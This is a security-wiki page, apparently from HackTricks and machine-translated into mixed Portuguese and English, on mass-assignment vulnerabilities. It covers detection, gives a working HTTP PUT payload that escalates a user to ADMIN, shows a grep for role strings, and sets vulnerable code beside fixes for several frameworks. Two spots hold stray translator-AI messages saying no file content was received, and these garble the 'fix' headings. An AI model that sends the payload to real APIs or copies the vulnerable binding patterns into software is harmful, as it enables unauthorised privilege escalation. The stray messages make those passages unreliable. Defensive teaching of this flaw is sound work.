Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Mass assignment (a.k.a. insecure object binding) acontece quando um API/controller recebe JSON fornecido pelo usuário e o vincula diretamente a um modelo/entidade no servidor sem uma lista explícita de campos permitidos (allow-list). Se propriedades privilegiadas como roles, isAdmin, status, ou ownership fields forem vinculáveis, qualquer usuário autenticado pode escalar privilégios ou alterar estados protegidos.

This is a Broken Access Control issue (OWASP A01:2021) que frequentemente permite vertical privilege escalation ao definir roles=ADMIN ou valores similares. Isso normalmente afeta frameworks que suportam binding automático do corpo da requisição para modelos de dados (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Finding Mass Assignment

Procure endpoints self-service que atualizem seu próprio perfil ou recursos similares:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Heurísticas que indicam mass assignment:

  • A resposta ecoa campos gerenciados pelo servidor (por exemplo, roles, status, isAdmin, permissions) mesmo quando você não os enviou.
  • Bundles do cliente contêm nomes/IDs de roles ou outros nomes de atributos privilegiados usados pela aplicação (admin, staff, moderator, internal flags), sugerindo um schema vinculável.
  • Serializadores do backend aceitam campos desconhecidos sem rejeitá-los.

Fluxo de teste rápido:

  1. Realize uma atualização normal com apenas campos seguros e observe a estrutura completa da resposta JSON (this leaks the schema).
  2. Repita a atualização incluindo um campo privilegiado manipulado no body. Se a resposta persistir a alteração, provavelmente há mass assignment.

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Resposta indica campos privilegiados:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

Uma vez que você conheça o bindable shape, inclua a propriedade privileged na mesma requisição.

Exemplo: defina roles como ADMIN no seu próprio recurso de usuário:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Se a alteração de papel persistir na resposta, reautentique-se ou atualize tokens/claims para que o app emita uma sessão com contexto de admin e mostre a UI/endpoints privilegiados.

Notas

  • Identificadores e formatos de roles são frequentemente enumerados a partir do client JS bundle ou dos API docs. Procure por strings como "roles", "ADMIN", "STAFF", ou IDs numéricos de roles.
  • Se tokens contiverem claims (por exemplo, JWT roles), geralmente é necessário logout/login ou token refresh para perceber os novos privilégios.

3) Client Bundle Recon para Schema and Role IDs

  • Inspecione minified JS bundles em busca de role strings e model names; source maps podem revelar DTO shapes.
  • Procure por arrays/maps de roles, permissions, ou feature flags. Construa payloads que correspondam exatamente aos nomes de propriedades e ao aninhamento.
  • Indicadores típicos: role name constants, dropdown option lists, validation schemas.

Handy greps against a downloaded bundle:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Armadilhas de Frameworks e Padrões Seguros

A vulnerabilidade surge quando frameworks vinculam req.body diretamente a entidades persistentes. Abaixo estão erros comuns e padrões mínimos e seguros.

Node.js (Express + Mongoose)

Vulnerável:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Não recebi o conteúdo do arquivo. Cole aqui o texto (markdown) de src/pentesting-web/mass-assignment-cwe-915.md que deseja que eu traduza para português, ou confirme onde encontrá‑lo.

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Vulnerável (sem strong parameters):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Correção (strong params + sem campos privilegiados):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Vulnerável:

php
protected $guarded = []; // Everything mass-assignable (bad)

Você não forneceu o conteúdo a ser traduzido. Por favor cole o conteúdo do arquivo src/pentesting-web/mass-assignment-cwe-915.md (incluindo Markdown/HTML) que deseja que eu traduza para português.

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Padrão vulnerável:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Correção: Mapear para um DTO com apenas os campos permitidos e reforçar a autorização:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Então copie os campos permitidos do DTO para a entidade no servidor e trate alterações de roles somente em handlers exclusivos para admin após as verificações RBAC. Use @JsonIgnore em campos privilegiados, se necessário, e rejeite propriedades desconhecidas.

Go (encoding/json)

  • Garanta que campos privilegiados usem json:"-" e valide com uma DTO struct que inclua apenas os campos permitidos.
  • Considere decoder.DisallowUnknownFields() e validação pós-bind das invariantes (roles não podem mudar em rotas de self-service).

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks